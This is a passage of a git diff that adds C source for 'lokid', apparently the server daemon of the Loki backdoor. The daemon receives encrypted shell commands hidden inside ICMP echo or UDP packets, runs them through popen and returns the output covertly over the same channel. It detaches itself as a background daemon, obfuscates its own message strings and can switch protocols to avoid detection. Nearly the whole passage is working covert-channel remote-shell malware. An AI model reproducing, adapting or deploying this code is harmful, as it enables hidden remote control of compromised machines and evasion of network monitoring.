1, verbose, decrypt(S_MSG_SIGCHLD)); + } + + for (;;) { + cflags &= ~VALIDP; /* Blocking read */ + c = read(tsock, (struct loki *)&rdg, LOKIP_SIZE); + + switch (prot) { /* Is this a valid Loki packet? */ + case IPPROTO_ICMP: + if ((IS_GOOD_ITYPE_D(rdg))) { + cflags |= VALIDP; + c_id = rdg.ttype.icmph.icmp_id; + } + break; + + case IPPROTO_UDP: + if ((IS_GOOD_UTYPE_D(rdg))) { + cflags |= VALIDP; + c_id = rdg.ttype.udph.uh_sport; + } + break; + + default: + err_exit(1, 0, verbose, decrypt(S_MSG_WIERDERR)); + } + + if (cflags & VALIDP) { +#ifdef DEBUG + fprintf(stderr, "\n[DEBUG]\t\tlokid: packet read %d bytes, type: ", c); + PACKET_TYPE(rdg); + DUMP_PACKET(rdg, c); +#endif /* DEBUG */ + switch (pid = fork()) { + case 0: + destroy_shm = NOK; /* child should NOT mark segment as + destroyed when exiting... */ + +/* TLI seems to have problems in passing socket file desciptors around */ +#ifdef SOLARIS + close(ripsock); + if ((ripsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { + err_exit(1, 1, 1, decrypt(S_MSG_SOCKET)); + } +#ifdef DEBUG + fprintf(stderr, "\n[DEBUG]\tRaw IP socket: "); + fd_status(ripsock, OK); +#endif /* DEBUG */ +#endif /* SOLARIS */ + break; + + default: /* parent will loop forever spawning children + if we do not zero rdg */ + bzero((struct loki *)&rdg, LOKIP_SIZE); + cflags &= ~VALIDP; + continue; + + case -1: /* fork error */ + err_exit(1, 1, verbose, decrypt(S_MSG_FORK_ERROR)); + } + + if (((c = add_client((uint8_t *)NULL)) == -1)) { + lokid_xmit((uint8_t *)S_MSG_PACKED, LP_DST, L_ERR, NOCR); //xxx + lokid_xmit(buf1, LP_DST, L_EOT, NOCR); + err_exit(1, 0, verbose, decrypt(S_MSG_CANNOT_ADD_KEY)); + } + + /* unload payload */ + bcopy(&rdg.payload[1], buf1, BUFSIZE - 1); + blur(DECR, BUFSIZE - 1, buf1); + + /* parse escaped command */ + if (buf1[0] == '/') { + d_parse(buf1, pid, ripsock); + } + +#ifdef POPEN /* popen the shell command and execute it inside of /bin/sh */ + if (!(job = popen((char *)buf1, "r"))) { + err_exit(1, 1, verbose, decrypt(S_MSG_POPEN)); + } + + while (fgets(buf2, BUFSIZE - 1, job)) { + bcopy(buf2, buf1, BUFSIZE); + lokid_xmit(buf1, LP_DST, L_REPLY, OKCR); + } + lokid_xmit(buf1, LP_DST, L_EOT, OKCR); + update_client(locate_client(FIND), p_sent, b_sent); + clean_exit(0); /* exit the child after sending the last packet */ +#endif /* POPEN */ + } + } +} + + +/* + * Build and transmit Loki packets (server-side version) + */ +int lokid_xmit(uint8_t *payload, uint32_t dst, int ptype, int crypt_flag) { + struct sockaddr_in sin; + int i = 0; + char *dbuf; + + + bzero((struct loki *)&sdg, LOKIP_SIZE); + + sin.sin_family = AF_INET; + sin.sin_addr.s_addr = dst; + sdg.payload[0] = ptype; /* set packet type */ + + /* Do not encrypt error or public key reply packets */ + if (crypt_flag == OKCR) + blur(ENCR, BUFSIZE - 1, payload); + bcopy(payload, &sdg.payload[1], BUFSIZE - 1); + + if (prot == IPPROTO_ICMP) { +#ifdef NET3 /* Our workaround. */ + sdg.ttype.icmph.icmp_type = ICMP_ECHO; +#else + sdg.ttype.icmph.icmp_type = ICMP_ECHOREPLY; +#endif /* NET3 */ + sdg.ttype.icmph.icmp_code = 0; + sdg.ttype.icmph.icmp_id = c_id; /* client ID */ + sdg.ttype.icmph.icmp_seq = L_TAG; /* Loki ID */ + sdg.ttype.icmph.icmp_cksum = + i_check((uint16_t *)&sdg.ttype.icmph, BUFSIZE + ICMPH_SIZE); + } + + if (prot == IPPROTO_UDP) { + sdg.ttype.udph.uh_sport = NL_PORT; + sdg.ttype.udph.uh_dport = rdg.ttype.udph.uh_sport; + sdg.ttype.udph.uh_ulen = htons(UDPH_SIZE + BUFSIZE); + sdg.ttype.udph.uh_sum = + i_check((uint16_t *)&sdg.ttype.udph, BUFSIZE + UDPH_SIZE); + } + sdg.iph.ip_v = 0x4; + sdg.iph.ip_hl = 0x5; + sdg.iph.ip_len = FIX_LEN(LOKIP_SIZE); + sdg.iph.ip_ttl = 0x40; + sdg.iph.ip_p = prot; + sdg.iph.ip_dst = sin.sin_addr.s_addr; + +#ifdef SEND_PAUSE + usleep(SEND_PAUSE); +#endif /* SEND_PAUSE */ + + if ((i = sendto(ripsock, (struct loki *)&sdg, LOKIP_SIZE, 0, (struct sockaddr *)&sin, sizeof(sin))) < LOKIP_SIZE) { + if (verbose){ + dbuf = decrypt(S_MSG_TRUNCATED_WRITE); + perror(dbuf); + destroy(dbuf, S_MSG_TRUNCATED_WRITE.size); + } + } else { /* Update global stats */ + b_sent += i; + p_sent ++; + } + return (i < 0) ? 0 : i; /* Make snocrash happy (return bytes written, + * or return 0 if there was an error) */ +} + + +/* + * Keep child proccesses from zombiing on us + */ +void reaper(int signo) { + int sys = 0; + + wait(&sys); /* get child's exit status */ + + /* re-establish signal handler */ + if (signal(SIGCHLD, reaper) == SIG_ERR) { + err_exit(1, 1, verbose, decrypt(S_MSG_SIGCHLD)); + } +} + + +/* + * Simple daemonizing procedure. + */ +void shadow() { + int n; + int fd = 0; + + close(STDIN_FILENO); /* We no longer need STDIN */ + if (!verbose) { /* Get rid of these also */ + close(STDOUT_FILENO); + close(STDERR_FILENO); + } + + /* Ignore read/write signals from/to the controlling terminal. */ + signal(SIGTTOU, SIG_IGN); + signal(SIGTTIN, SIG_IGN); + signal(SIGTSTP, SIG_IGN); /* Ignore suspend signal. */ + + switch (fork()) { + case 0: /* child continues */ + break; + + default: /* parent exits */ + clean_exit(0); + + case -1: /* fork error */ + err_exit(1, 1, verbose, decrypt(S_MSG_CANNOT_DAEMONIZE)); + } + + /* Create a new session and set this process to be the group leader. */ + if (setsid() == -1) { + err_exit(1, 1, verbose, decrypt(S_MSG_CANNOT_CREATE_SESSION)); + } + + /* Detach from controlling terminal */ + if ((fd = open("/dev/tty", O_RDWR)) >= 0) { + if ((ioctl(fd, TIOCNOTTY, (char *)NULL)) == -1) { + err_exit(1, 1, verbose, decrypt(S_MSG_CANNOT_DETACH_TERMINAL)); + } + close(fd); + } + + errno = 0; // TODO why is this being set? + + n = chdir(WORKING_ROOT); /* Working dir should be the root */ + if (n == -1) { + err_exit(1, 1, verbose, decrypt(S_MSG_CANNOT_CHDIR)); + } + + umask(0); /* File creation mask should be 0 */ +} + + +/* + * Parse escaped commands (server-side version) + */ +void d_parse(uint8_t *buf, pid_t pid, int ripsock) { + uint8_t buf2[4 * BUFSIZE] = {0}; + int n = 0, m = 0; + uint32_t client_ip = 0; + char *dbuf; + + + /* client request for an all kill */ + if (!strncmp((char *)buf, QUIT_ALL, sizeof(QUIT_ALL) - 1)) { + if (verbose) { + dbuf = decrypt(S_MSG_CLIENT_ALL_KILL); + fprintf(stderr, dbuf, c_id); + destroy(dbuf, S_MSG_CLIENT_ALL_KILL.size); + } + + while (n < MAX_CLIENT) { /* send notification to all clients */ + if ((client_ip = check_client_ip(n++, &c_id))) { + if (verbose) { + dbuf = decrypt(S_MSG_SENDING_L_QUIT); + fprintf(stderr, dbuf, c_id, host_lookup(client_ip)); + destroy(dbuf, S_MSG_SENDING_L_QUIT.size); + } + + lokid_xmit(buf, client_ip, L_QUIT, NOCR); + } + } + + if (verbose) { + dbuf = decrypt(S_MSG_CLIENTK); + fprintf(stderr, "%s", dbuf); + destroy(dbuf, S_MSG_CLIENTK.size); + } + + /* send a SIGKILL to all the processes in the servers group... */ + if ((kill(-pid, SIGKILL)) == -1) { + err_exit(1, 1, verbose, decrypt(S_MSG_CANNOT_SIGNAL_PROCESS_GROUP)); + } + + clean_exit(0); + } + /* client is exited, remove entry from the client list */ + if (!strncmp((char *)buf, QUIT_C, sizeof(QUIT_C) - 1)) { + if ((m = locate_client(DESTROY)) == -1) { + err_exit(1, 0, verbose, decrypt(S_MSG_UNKNOWN)); + } + + else if (verbose) { + dbuf = decrypt(S_MSG_CLIENT_FREED); + fprintf(stderr, dbuf, c_id, m); + destroy(dbuf, S_MSG_CLIENT_FREED.size); + } + + clean_exit(0); + } + + /* stat request */ + if (!strncmp((char *)buf, STAT_C, sizeof(STAT_C) - 1)) { + bzero((uint8_t *)buf2, 4 * BUFSIZE); + /* Ok. This is an ugly hack to keep packet counts in sync + * with the stat request. We know the amount of packets we + * are going to send (and therefore the byte count) in advance + * so we can preload the values. + */ + update_client(locate_client(FIND), 5, 5 * LOKIP_SIZE); + n = stat_client(locate_client(FIND), buf2, prot, uptime); + + /* breakdown payload into BUFSIZE-1 chunks, suitable for transmission */ + for (; m < n; m += (BUFSIZE - 1)) { + bcopy(&buf2[m], buf, BUFSIZE - 1); + lokid_xmit(buf, LP_DST, L_REPLY, OKCR); + } + lokid_xmit(buf, LP_DST, L_EOT, OKCR); + clean_exit(0); /* exit the child after sending the last packet */ + } + + if (!strncmp((char *)buf, SWAP_T, sizeof(SWAP_T) - 1)) { + if (kill(getppid(), SIGUSR1)) { + err_exit(1, 1, verbose, decrypt(S_MSG_CANNOT_SIGNAL_PARENT)); + } + clean_exit(0); + } + + /* unsupport/unrecognized command */ + dbuf = decrypt(S_MSG_UNSUP); + lokid_xmit((uint8_t *)dbuf, LP_DST, L_REPLY, OKCR); + destroy(dbuf, S_MSG_UNSUP.size); + + lokid_xmit(buf2, LP_DST, L_EOT, OKCR); + + update_client(locate_client(FIND), p_sent, b_sent); + clean_exit(0); // TODO should this exit if an unknown command is sent? +} + + +/* + * Swap transport protocols. This is called as a result of SIGUSR1 from + * a child server process. + */ +void swap_t(int signo) { + int n = 0; + uint32_t client_ip = 0; + struct protoent *pprot = 0; + char buf[BUFSIZE] = {0}; + char *dbuf; + + + if (verbose) { + char *str = decrypt(S_MSG_CLIENT_PROTO_SWAP); + fprintf(stderr, str, c_id); + destroy(str, S_MSG_CLIENT_PROTO_SWAP.size); + } + + while (n < MAX_CLIENT) { + if ((client_ip = check_client_ip(n++, &c_id))) { + char *str = decrypt(S_MSG_SEND_PROTO_UPDATE); + + fprintf(stderr, str, c_id, host_lookup(client_ip), n); + + lokid_xmit((uint8_t *)buf, client_ip, L_REPLY, OKCR); + lokid_xmit((uint8_t *)buf, client_ip, L_EOT, OKCR); + + destroy(str, S_MSG_SEND_PROTO_UPDATE.size); + + //update_client(locate_client(FIND), p_sent, b_sent); + } + } + + close(tsock); + + prot = (prot == IPPROTO_UDP) ? IPPROTO_ICMP : IPPROTO_UDP; + + if ((tsock = socket(AF_INET, SOCK_RAW, prot)) < 0) { + err_exit(1, 1, verbose, decrypt(S_MSG_SOCKET)); + } + + pprot = getprotobynumber(prot); + + dbuf = decrypt(S_MSG_PROTOCOL_CHANGED); + sprintf(buf, dbuf, pprot -> p_name); + destroy(dbuf, S_MSG_PROTOCOL_CHANGED.size); + + fprintf(stderr, "\n%s", buf); + + lokid_xmit((uint8_t *)buf, LP_DST, L_REPLY, OKCR); + lokid_xmit((uint8_t *)buf, LP_DST, L_EOT, OKCR); + + update_client(locate_client(FIND), p_sent, b_sent); + + /* re-establish signal handler */ + if (signal(SIGUSR1, swap_t) == SIG_ERR) { + err_exit(1, 1, verbose, decrypt(S_MSG_SIGUSR1)); + } +} + +/* EOF */ -- cgit v1.2.3